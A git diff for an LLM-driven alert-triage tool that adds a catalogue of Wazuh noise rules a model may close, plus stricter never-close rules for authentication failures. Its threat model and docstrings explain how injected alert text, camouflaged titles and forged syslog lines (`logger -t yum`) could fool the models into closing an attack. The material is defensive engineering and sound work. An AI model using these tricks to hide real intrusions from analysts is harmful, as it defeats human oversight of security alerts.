diff --git a/changelog.d/FIX-2.md b/changelog.d/FIX-2.md new file mode 100644 index 00000000..0f499b15 --- /dev/null +++ b/changelog.d/FIX-2.md @@ -0,0 +1,36 @@ +### Changed + +- Model-led closure (`ai_closure.tier = auto_full_audit`) can now close + routine Wazuh noise that ships without an ATT&CK mapping. A reviewed, + versioned catalogue of noise families, keyed by vendor and detection rule + id, lifts the "no ATT&CK mapping" block for: package installs and updates + (dpkg 2901, 2902; yum 2932, 2933), Windows software installs (60612), + Defender scan and signature status (62107, 62108, 62130) and a single web + 4xx (31101). It lifts nothing else: the tier, severity, both model tiers + benign at the install thresholds, steering text, a recent true positive + and a campaign in progress still block. Such a close's decision reason + names the family and the catalogue version. +- Alerts now record the format whose normalizer built them + (`normalized.normalizer`: `wazuh`, `canonical`, `webhook`, `llm`, ...). + Models never see it. Alerts stored before this release have none, so the + catalogue does not apply to them. +- The campaign check is unchanged (FIX-1). A check that lets one detection + rule repeat without blocking was deferred. + +### Security + +- Authentication failures never close on the models' word, whatever ATT&CK + technique the vendor gave them: a Wazuh rule in the groups + `authentication_failed`, `authentication_failures`, `invalid_login` or + `login_denied`, the rules 6250 (Asterisk) and 44733 (FortiAuthenticator), + and ATT&CK T1531, where Wazuh maps its Windows logon failures. Before, + 25 stock Wazuh rules of that kind (logon failures, a failed logon from a + malicious IP, a possible replay attack) were closable. +- The catalogue reads only the rule id of the vendor's own event, and only + on an alert the Wazuh normalizer built, never the title, description or + rule-name text: a custom rule that copies a stock description, a forged + rule-name prefix or a canonical push of a Wazuh document stays unmapped. +- The workflow state keeps the vendor rule (`raw.rule`: id, level, + description, groups, ATT&CK) when an oversized raw event is dropped. A + Wazuh alert whose rule cannot be read, or whose groups list had to be cut, + never closes on the models' word. diff --git a/docs/ai-system-card.md b/docs/ai-system-card.md index 0327b65f..1996a073 100644 --- a/docs/ai-system-card.md +++ b/docs/ai-system-card.md @@ -279,6 +279,12 @@ compressed related alerts and bursts (a campaign in progress blocks it), and queue without them. That is a simulation, not a re-measurement. The miss-rate result stands; the auto-close result is not yet a statement about the model. +Decision policy v2.1 (FIX-2) adds a reviewed catalogue of unmapped Wazuh +noise rules (by rule id) and makes authentication failures a never-close +class whatever their ATT&CK id; the campaign check stays FIX-1's. +Simulated on the FIX-1 dev run's 100 recorded alerts, 2 of the 60 +benign alerts close and none of the 40 malicious. + ### 7.2 Scorecard v1: `qwen2.5:7b` on a local Ollama [scorecards/v1/qwen2.5-7b/scorecard.md](scorecards/v1/qwen2.5-7b/scorecard.md), diff --git a/docs/architecture.md b/docs/architecture.md index 2b3de3d1..3d19b22b 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -290,10 +290,13 @@ Rules: the severity is info, low or medium, the detection rule maps it to ATT&CK and not to a never-close class (credential access, log clearing, tampering, ransomware, persistence through an object the attacker - names), triage found no steering text, no entity has a recent true - positive, no campaign is in progress (a burst, or a related alert a - model judged malicious or suspicious or still open for review), and - both model tiers say `benign`: fast-tier likelihood at + names), or it is unmapped but its vendor rule id is in the reviewed + noise catalogue (`lg_sotf.domain.noise_families`, FIX-2: package + installs, Windows software installs, Defender scan and signature status, + web 4xx; keyed by vendor and rule id, never by text), triage found no + steering text, no entity has a recent true positive, no campaign is in progress (a burst, or a related alert a model judged + malicious or suspicious or still open for review), authentication failures are credential access whatever their ATT&CK id + (Wazuh rule groups, T1531), and both model tiers say `benign`: fast-tier likelihood at most `routing.model_close_max_likelihood` (8) and deep-tier certainty at least `routing.model_close_min_certainty` (85). The `decide` node reads the tier from the tenant's settings at every decision. diff --git a/docs/invariants.md b/docs/invariants.md index 7f38b720..fb963b14 100644 --- a/docs/invariants.md +++ b/docs/invariants.md @@ -61,12 +61,12 @@ Containment changes a customer's environment. An action executes only once it is ## INV-03: An AI verdict alone never closes a high or critical alert or a never-close class; a low or medium alert closes on the models' word only at the tenant's autonomy tier -A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, unmapped alerts), steering text, entities with a recent true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. A cached analyst verdict closes only a non-critical repeat of the same detection and behaviour (verdict key: what ran, compared in full) that two different analysts decided benign, with no threat on it since; alerts in a never-close class, normalised by a model or without a process, command line, service, scheduled task, registry key, target file or Sysmon WMI object get no key (a URL, user agent, O365 operation or other request-set context is in the key but never enough for one). A suggested suppression rule matches the verdict key, older fingerprint-only suggestions never apply, and a confirmed threat disables the rules that match it. +A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, authentication failures by vendor rule group, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. A cached analyst verdict closes only a non-critical repeat of the same detection and behaviour (verdict key: what ran, compared in full) that two different analysts decided benign, with no threat on it since; alerts in a never-close class, normalised by a model or without a process, command line, service, scheduled task, registry key, target file or Sysmon WMI object get no key (a URL, user agent, O365 operation or other request-set context is in the key but never enough for one). A suggested suppression rule matches the verdict key, older fingerprint-only suggestions never apply, and a confirmed threat disables the rules that match it. * **Status:** enforced * **Owner epic:** AI-E6 * **Threats:** TM-WRK-1, TM-WRK-2, TM-WRK-10 -* **Enforced in:** `src/lg_sotf/domain/routing.py`, `src/lg_sotf/domain/closure.py`, `src/lg_sotf/domain/benign_evidence.py`, `src/lg_sotf/domain/verdict_key.py`, `src/lg_sotf/core/verdict_cache.py`, `src/lg_sotf/core/benign_learning.py` +* **Enforced in:** `src/lg_sotf/domain/routing.py`, `src/lg_sotf/domain/closure.py`, `src/lg_sotf/domain/benign_evidence.py`, `src/lg_sotf/domain/noise_families.py`, `src/lg_sotf/domain/verdict_key.py`, `src/lg_sotf/core/verdict_cache.py`, `src/lg_sotf/core/benign_learning.py` * **Runtime checks:** `routing_policy` * **Evaluation metric:** `high_severity_auto_closed_benign` * **Proved by:** @@ -82,7 +82,14 @@ A fooled or injected model must not be able to make a dangerous alert disappear. * `tests/unit/domain/test_closure.py::test_a_scanner_or_test_source_never_closes_a_never_close_class` * `tests/unit/domain/test_closure.py::test_a_campaign_in_progress_is_never_model_closed` * `tests/unit/domain/test_closure.py::test_review_f2_sentinel_credential_access_is_a_never_close_class` + * `tests/unit/domain/test_noise_families.py::test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped` + * `tests/unit/domain/test_noise_families.py::test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class` + * `tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule` + * `tests/unit/domain/test_noise_families.py::test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates` + * `tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes` + * `tests/unit/domain/test_noise_families.py::test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping` * `tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close` + * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not` * `tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on` * `tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert` * `tests/unit/agents/test_title_camouflage.py::test_the_title_camouflage_items_get_no_benign_evidence_and_never_close_on_rules` diff --git a/docs/security.md b/docs/security.md index 79a1daeb..f1aa9f20 100644 --- a/docs/security.md +++ b/docs/security.md @@ -251,7 +251,10 @@ close a dangerous alert or trigger containment. `auto_full_audit`. Then both model tiers may close a low or medium alert alone, marked `ai_closed:audit_required`, but never a never-close class (credential access, log clearing, tampering, ransomware, persistence - through attacker-named objects, or an alert without an ATT&CK mapping), + through attacker-named objects, or an alert without an ATT&CK mapping + unless its vendor rule id is in the reviewed noise catalogue, FIX-2; + authentication failures count as credential access whatever their + ATT&CK id), never with steering text, a recent true positive on its entities or a campaign in progress among its related alerts, and only when the fast tier's likelihood is at most 8 and the deep tier's diff --git a/docs/threat-model.md b/docs/threat-model.md index ca31495b..97220534 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -135,7 +135,7 @@ disclosure, **D**enial of service, **E**levation of privilege. | ID | STRIDE | Threat | Controls | Status | |---|---|---|---|---| | TM-WRK-1 | T | Prompt injection in alert fields changes the verdict | Untrusted-data blocks with escaped `<` and `>` (`src/lg_sotf/llm/prompting.py:365-400`); injection detection voids false-positive signals (`src/lg_sotf/agents/triage/base.py:125-131`); the injection signal blocks corroboration (`src/lg_sotf/agents/analysis/base.py:15-28`) | In place | -| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress (a burst, a related alert judged a threat or open for review), an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | +| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). The campaign check is FIX-1's (a burst, a related alert judged a threat or open for review); a check that lets one rule repeat was deferred after three review rounds found ways to launder a block through it. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). The state size cap keeps `raw.rule` (id, level, description, groups, mitre) when it drops an oversized raw event, so inflating an event does not hide its groups; a Wazuh-built alert whose rule cannot be read at all, or whose groups list the cap had to cut, is `vendor_unknown`, a never-close class. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | | TM-WRK-3 | E | A fooled model triggers containment | Containment on model-only evidence always waits for approval (`src/lg_sotf/services/response/planner.py:328-329`); tenant autonomy, with unknown values read as `disabled` (`src/lg_sotf/services/response/policy.py:215-226`) | In place | | TM-WRK-4 | I | Alert data or secrets sent to the model provider | Secrets redacted before storage and before the model; personal data is **not** redacted | Partial: per-tenant pseudonymisation before the LLM call is planned (SEC7.5b) | | TM-WRK-5 | I | Model endpoint pointed at an internal or metadata address | `llm.base_url` egress check (`src/lg_sotf/llm/endpoint.py:80-100`), enforced at start-up (`src/lg_sotf/settings.py:519-524`) | In place | diff --git a/src/lg_sotf/agents/analysis/base.py b/src/lg_sotf/agents/analysis/base.py index 691ae7fe..bc5fe1f8 100644 --- a/src/lg_sotf/agents/analysis/base.py +++ b/src/lg_sotf/agents/analysis/base.py @@ -77,6 +77,7 @@ from lg_sotf.llm.registry import register_prompt from lg_sotf.llm.schema import clipped_list, clipped_str, lenient_literal from lg_sotf.llm.trace import observe +from lg_sotf.models.alert import model_view from lg_sotf.security.redaction import redact_text from lg_sotf.tools.enrichment import ( EnrichmentResult, @@ -474,7 +475,7 @@ def _prompt_block( "rule_threat_score": rule_score, } block: Dict[str, Any] = { - "alert": dict(alert), + "alert": model_view(alert), "background": background, "history": history, "candidates": {cid: c.prompt_view() for cid, c in candidates.items()}, diff --git a/src/lg_sotf/agents/triage/base.py b/src/lg_sotf/agents/triage/base.py index 2d3556ed..13af33c4 100644 --- a/src/lg_sotf/agents/triage/base.py +++ b/src/lg_sotf/agents/triage/base.py @@ -91,6 +91,7 @@ from lg_sotf.domain.routing import RoutingThresholds from lg_sotf.llm.registry import register_prompt from lg_sotf.llm.schema import clipped_list, clipped_str, lenient_literal +from lg_sotf.models.alert import model_view if TYPE_CHECKING: from lg_sotf.core.state import TriageDigest @@ -550,7 +551,7 @@ def __init__(self, config: Optional[Mapping[str, Any]] = None, **kwargs: Any) -> @staticmethod def prompt_data(alert: Mapping[str, Any], rule_fp: List[str], rule_tp: List[str], rule_score: int) -> Dict[str, Any]: return { - "alert": dict(alert), + "alert": model_view(alert), "rule_assessment": {"confidence": rule_score, "fp_signals": rule_fp, "tp_signals": rule_tp}, } diff --git a/src/lg_sotf/core/graph.py b/src/lg_sotf/core/graph.py index 7868b845..94759f9d 100644 --- a/src/lg_sotf/core/graph.py +++ b/src/lg_sotf/core/graph.py @@ -167,12 +167,48 @@ def _shrink(value: Any, items: int, chars: int, keys: int, depth: int) -> Any: return value +#: The vendor rule fields of ``raw.rule`` kept when the raw event is too large for the state (FIX-2 review): the +#: never-close checks read the Wazuh rule id and groups from there. +RAW_RULE_KEYS = ("id", "level", "description", "groups", "mitre") +RAW_OMITTED = "raw event too large for workflow state" + + +RAW_RULE_SUBSET_ITEMS = 20 +#: Set on a kept ``raw.rule`` whose groups list was cut: the never-close checks then cannot see every group, and +#: the alert resolves to ``vendor_unknown`` (lg_sotf.domain.noise_families), a never-close class. +GROUPS_TRUNCATED = "groups_truncated" + + +def _groups_cut(rule: Any, keep: int) -> bool: + groups = rule.get("groups") if isinstance(rule, Mapping) else None + return isinstance(groups, list) and len(groups) > keep + + +def _raw_rule_subset(raw: Any) -> Optional[Dict[str, Any]]: + """The small ``raw.rule`` subset kept through the state cap (from the uncapped raw event).""" + rule = raw.get("rule") if isinstance(raw, Mapping) else None + if not isinstance(rule, Mapping): + return None + subset = {k: _shrink(rule[k], RAW_RULE_SUBSET_ITEMS, 200, 10, 3) for k in RAW_RULE_KEYS if k in rule} + if _groups_cut(rule, RAW_RULE_SUBSET_ITEMS): + subset[GROUPS_TRUNCATED] = True + return subset or None + + +def _omitted_raw(rule: Optional[Dict[str, Any]]) -> Dict[str, Any]: + return {"_omitted": RAW_OMITTED, "rule": rule} if rule else {"_omitted": RAW_OMITTED} + + def cap_alert(canonical: Mapping[str, Any]) -> Dict[str, Any]: """Size-cap the canonical alert for graph state: per-field, per-list and total limits. - ``raw`` is kept only while it fits :data:`MAX_RAW_JSON_CHARS`. The whole - document is bounded by :data:`MAX_ALERT_JSON_CHARS`: first the largest - unprotected keys are dropped, then ``entities`` is shrunk step by step + ``raw`` is kept only while it fits :data:`MAX_RAW_JSON_CHARS`; otherwise it + is replaced by a marker that keeps the small vendor rule subset + (``raw.rule``: :data:`RAW_RULE_KEYS`, shortened), which the never-close + checks read (an attacker who inflates an event must not hide the rule's + groups). The whole document is bounded by :data:`MAX_ALERT_JSON_CHARS`: + first the largest unprotected keys are dropped (``raw`` is first reduced + to that marker), then ``entities`` is shrunk step by step (fewer items, shorter strings) so indicators and response targets survive, and only as a last resort are whole entity kinds dropped. Every loop removes something, so this always terminates. @@ -181,13 +217,23 @@ def cap_alert(canonical: Mapping[str, Any]) -> Dict[str, Any]: capped: Dict[str, Any] = _cap(dict(canonical)) capped.pop("_omitted_keys", None) omitted: List[str] = [] + original_raw = canonical.get("raw") + original_rule = original_raw.get("rule") if isinstance(original_raw, Mapping) else None + rule = _raw_rule_subset(original_raw) + kept_rule = capped["raw"].get("rule") if isinstance(capped.get("raw"), dict) else None + if isinstance(kept_rule, dict) and _groups_cut(original_rule, MAX_LIST_ITEMS): + kept_rule[GROUPS_TRUNCATED] = True # the per-list cap cut the groups of a raw event that is kept whole + reduced = False if "raw" in capped and _json_len(capped["raw"]) > MAX_RAW_JSON_CHARS: - capped["raw"] = {"_omitted": "raw event too large for workflow state"} + capped["raw"], reduced = _omitted_raw(rule), True while _json_len(capped) > limit: candidates = [k for k in capped if k not in PROTECTED_ALERT_KEYS] if not candidates: break largest = max(candidates, key=lambda k: _json_len(capped[k])) + if largest == "raw" and rule is not None and not reduced: + capped["raw"], reduced = _omitted_raw(rule), True + continue capped.pop(largest) omitted.append(largest) entities = capped.get("entities") diff --git a/src/lg_sotf/domain/closure.py b/src/lg_sotf/domain/closure.py index 692f42eb..34ffeb2b 100644 --- a/src/lg_sotf/domain/closure.py +++ b/src/lg_sotf/domain/closure.py @@ -1,4 +1,4 @@ -"""Model-led closure (decision policy v2, FIX-1): the tenant's autonomy tier and when a model may close. +"""Model-led closure (decision policy v2.1, FIX-1 and FIX-2): the tenant's autonomy tier and when a model may close. Without approved benign evidence (:func:`lg_sotf.domain.routing.decide`), a low or medium alert is closed on the models' word only when the tenant chose @@ -15,7 +15,10 @@ names (scheduled tasks, services, autostart entries, WMI subscriptions, accounts), whose alert text is the attacker's. An alert the rule maps to no tactic or technique is ``unmapped`` and counts as a never-close class: - nothing shows it is outside them; + nothing shows it is outside them. The one exception is a detection rule in + the reviewed noise catalogue (:mod:`lg_sotf.domain.noise_families`, + FIX-2), keyed by vendor and rule id, never by title or description text: + it lifts ``unmapped`` and nothing else (:func:`model_close_class`); * no steering text: triage did not flag ``prompt_injection_suspected``; * no recent true positive on the alert's entities: no analyst-confirmed malicious history (``prior_malicious_history``), no related alert of the @@ -24,7 +27,9 @@ * no campaign in progress: no burst of related alerts, no related alert a model judged malicious or suspicious, none still open for an analyst or an approval (counted over every related alert, not only those shown to the - correlation model), so an attack is never closed alert by alert; + correlation model), so an attack is never closed alert by alert. (A + check that lets one rule repeat was deferred from FIX-2: three review + rounds found ways to launder a block through it); * both model tiers say benign: the fast tier's assessment is ``benign`` with a threat likelihood at most ``routing.model_close_max_likelihood`` (default 8), and the deep tier's verdict is ``benign`` with a certainty of @@ -33,6 +38,8 @@ A model-led close carries the decision code ``model_closed`` and the close reason ``ai_closed:audit_required``: an analyst is expected to audit it. +When the noise catalogue lifted ``unmapped``, the decision reason names the +family and the catalogue version. Correlation shows such an alert to later models as ``ai_closed_unaudited``, never as ``benign``, so one persuaded close cannot vouch for the next. @@ -52,6 +59,7 @@ from pydantic import BaseModel, ConfigDict, ValidationError from lg_sotf.domain.benign_evidence import INJECTION_SIGNAL +from lg_sotf.domain.noise_families import NoiseFamily, noise_family, vendor_never_close_class __all__ = [ "AUTONOMY_TIERS", @@ -67,8 +75,10 @@ "SETTING", "UNMAPPED", "autonomy_tier", + "catalogued_noise", "evidence_close_blockers", "model_close_blockers", + "model_close_class", "never_close_class", "validate_ai_closure_settings", ] @@ -98,6 +108,8 @@ "T1555": "credential_access", # credentials from password stores "T1556": "credential_access", # modify authentication process "T1558": "credential_access", # Kerberos tickets (Kerberoasting) + # Account access removal: Wazuh maps its Windows logon-failure rules (60122-60130) and others to it (FIX-2 review). + "T1531": "credential_access", "T1070": "log_clearing", # indicator removal: clearing event logs and shell history "T1562": "tampering", # impair defenses: disabling security tools and logging "T1485": "ransomware", # data destruction @@ -152,7 +164,12 @@ def _mitre(alert: Mapping[str, Any], key: str) -> List[str]: def never_close_class(alert: Any) -> Optional[str]: - """The never-close class the detection rule's ATT&CK mapping puts the alert in, or ``None``. + """The never-close class the detection rule's ATT&CK mapping (or the vendor rule itself) puts the alert in, or + ``None``. + + A Wazuh rule in an authentication-failure group, or one of a few listed + rule ids, is credential access whatever its ATT&CK id + (:func:`lg_sotf.domain.noise_families.vendor_never_close_class`). An alert the rule maps to no tactic and no technique is :data:`UNMAPPED`: nothing shows it is outside the never-close classes, so it is treated as @@ -169,9 +186,31 @@ def never_close_class(alert: Any) -> Optional[str]: found = NEVER_CLOSE_TECHNIQUES.get(technique.upper().split(".", 1)[0]) if found is not None: return found + vendor = vendor_never_close_class(alert) + if vendor is not None: + return vendor return None if tactics or techniques else UNMAPPED +def catalogued_noise(alert: Any) -> Optional[NoiseFamily]: + """The catalogued noise family that lifts the alert's ``unmapped`` class, or ``None`` (FIX-2). + + ``None`` unless the alert is :data:`UNMAPPED` and its vendor detection rule + id is in the catalogue: a mapped alert never needs the lift, and a mapped + never-close class is never lifted. + """ + return noise_family(alert) if never_close_class(alert) == UNMAPPED else None + + +def model_close_class(alert: Any) -> Optional[str]: + """The never-close class that blocks a model-led close: :func:`never_close_class`, except that a detection rule + in the noise catalogue lifts ``unmapped`` (and only ``unmapped``).""" + found = never_close_class(alert) + if found == UNMAPPED and catalogued_noise(alert) is not None: + return None + return found + + def _number(value: Any) -> Optional[float]: return float(value) if isinstance(value, (int, float)) and not isinstance(value, bool) else None @@ -263,7 +302,7 @@ def model_close_blockers( checks = ( ("tier_off", tier != MODEL_CLOSE_TIER), ("severity", state.get("severity") not in CLOSABLE_SEVERITIES), - ("never_close_class", never_close_class(state.get("alert")) is not None), + ("never_close_class", model_close_class(state.get("alert")) is not None), ("steering_text", _steering_text(triage)), ("recent_true_positive", _recent_true_positive(analysis, correlation)), ("campaign_in_progress", _campaign_in_progress(correlation)), diff --git a/src/lg_sotf/domain/noise_families.py b/src/lg_sotf/domain/noise_families.py new file mode 100644 index 00000000..f8df7631 --- /dev/null +++ b/src/lg_sotf/domain/noise_families.py @@ -0,0 +1,261 @@ +"""Catalogued routine-noise families (decision policy v2.1, FIX-2): vendor detection rules a model may close unmapped. + +An alert whose detection rule maps it to no ATT&CK tactic or technique is a +never-close class (:data:`lg_sotf.domain.closure.UNMAPPED`): nothing shows +it is outside the dangerous classes. Some vendors ship their textbook +operational events without a mapping (a package installed, antivirus +signatures updated, a web client error), so ``unmapped`` alone would keep +routine noise in front of an analyst forever. + +This catalogue lists, by **vendor and detection rule id**, the rules whose +meaning is known to be routine operational telemetry. A catalogued rule lifts +**only** the ``unmapped`` class; every other condition of a model-led close +still applies (the tenant tier, severity, both model tiers benign at the +install thresholds, no steering text, no recent true positive, no campaign). + +What an entry is keyed on, and why: + +* The rule id is chosen by the detection engine's ruleset (here the Wazuh + manager), not written by the actor on the monitored host. The alert's + title, description and rule name are never matched: a Wazuh rule + description can interpolate event fields (``$(win.eventdata...)``), and a + custom rule can copy a stock description word for word. +* The id is read from the vendor's own event (``raw.rule.id``), and only + when the Wazuh normalizer built the alert: the ingestion service records + the format on the alert (``normalizer``, never read from the event) and + the canonical rule name is the one that normalizer writes + (``": "``). An alert from another format (a canonical + or generic webhook push that copies a Wazuh document, an older alert + stored before the format was recorded) or without its raw event (dropped + by the state size cap) has no detection rule, so it stays ``unmapped`` + (fail closed). +* The actor can still choose **which** rule fires, often without + privileges: any local user can write a syslog line (``logger -t yum + Installed: x`` fires 2932) and a per-user MSI install produces 60612 + without admin rights. Each entry therefore records the abuse it could + hide, and every family with a known abuse has a test that a malicious or + suspicious model verdict still escalates it. A forged repeat can also be + a decoy; while it waits for an analyst it blocks other model closes on + the same entities (FIX-1's campaign check). + +The module also holds the vendor facts that put an alert **into** a +never-close class whatever its ATT&CK mapping (:func:`vendor_never_close_class`): +Wazuh maps many authentication-failure rules outside credential access +(Windows logon failures 60122-60130 to T1531, a failed logon from a malicious +IP to T1078, "possible replay attack" to T1550), so the rule's own groups +(``authentication_failed``, ``authentication_failures``, ``invalid_login``, +``login_denied``) and a short list of rule ids without those groups make +it credential access. These checks only ever block a close, so they read +the raw event whatever format built the alert; a Wazuh-built alert whose +rule cannot be read at all is ``vendor_unknown`` and never closes. + +Changing the catalogue is a reviewed change to the decision policy: bump +:data:`CATALOGUE_VERSION`, justify the entry from the vendor ruleset's +semantics (never from which evaluation items are labelled benign) and add +the abuse test when the family can hide one. +""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Any, Dict, FrozenSet, Mapping, NamedTuple, Optional, Tuple + +__all__ = [ + "AUTH_FAILURE_GROUPS", + "CATALOGUE", + "NEVER_CLOSE_RULE_IDS", + "VENDOR_UNKNOWN", + "CATALOGUE_VERSION", + "WAZUH", + "DetectionRule", + "NoiseFamily", + "detection_rule", + "noise_family", + "vendor_never_close_class", +] + +#: Bumped on every reviewed change to :data:`CATALOGUE`. +CATALOGUE_VERSION = "2026-11-09.2" +WAZUH = "wazuh" +_RULE_ID = re.compile(r"^[0-9]{1,7}$") + + +class DetectionRule(NamedTuple): + """The vendor detection rule that raised an alert.""" + + vendor: str + rule_id: str + + +@dataclass(frozen=True) +class NoiseFamily: + """A family of vendor rules whose meaning is routine operational telemetry.""" + + family: str + vendor: str + rule_ids: FrozenSet[str] + #: Why the rule's meaning is routine: what it reports and why that reports no attack. + rationale: str + #: The attack the family could hide, or ``"none known"``. + could_hide: str + #: Whether :attr:`could_hide` names a known abuse (it then needs an escalation test). + abuse_known: bool + + +CATALOGUE: Tuple[NoiseFamily, ...] = ( + NoiseFamily( + family="linux_package_install", + vendor=WAZUH, + # 2901 dpkg "requested to install", 2902 dpkg "installed", 2932 yum "New Yum package installed", + # 2933 yum "Yum package updated" (stock rules of the dpkg and yum decoders, levels 3 to 7). + rule_ids=frozenset({"2901", "2902", "2932", "2933"}), + rationale=( + "The package manager's own log of an install or update: patching and provisioning produce these " + "on every host, in bursts. Removals (dpkg 2903, yum 2934) are left out: removing a security agent " + "or audit package is defense impairment (T1562.001)." + ), + could_hide=( + "A malicious or backdoored package installed by an actor with root (T1546.016 installer packages, " + "T1195 supply chain). Any local user can also fire these rules with a forged syslog line (" + "`logger -t yum`, and likely dpkg lines through syslog): a decoy, or a flood of repeats." + ), + abuse_known=True, + ), + NoiseFamily( + family="windows_software_install", + vendor=WAZUH, + # 60612 "Application installed": the Windows Installer (MsiInstaller) reports a completed product install. + rule_ids=frozenset({"60612"}), + rationale=( + "Windows Installer's record of a completed product install; software deployment and self-updating " + "applications produce these daily. The product name in the description is event data and is never " + "read." + ), + could_hide=( + "Software install as execution: a malicious MSI run through msiexec (T1218.007) or a remote-access " + "tool installed for persistence (T1219). A per-user MSI install fires the rule without admin rights." + ), + abuse_known=True, + ), + NoiseFamily( + family="antivirus_status", + vendor=WAZUH, + # 62107 "Antimalware scan started", 62108 "Antimalware scan finished", + # 62130 "Antimalware definitions updated successfully" (Windows Defender operational rules). + rule_ids=frozenset({"62107", "62108", "62130"}), + rationale=( + "Microsoft Defender's scheduled scans and signature updates: health telemetry that reports no " + "finding. A detection is a different Defender event and rule (malware or potentially unwanted " + "software found, action taken or failed), never one of these. Definition rollbacks, failed updates " + "and protection being turned off are different rules and are not catalogued." + ), + could_hide="None known: a started, finished or updated scan engine gives an actor nothing.", + abuse_known=False, + ), + NoiseFamily( + family="web_client_error", + vendor=WAZUH, + # 31101 "Web 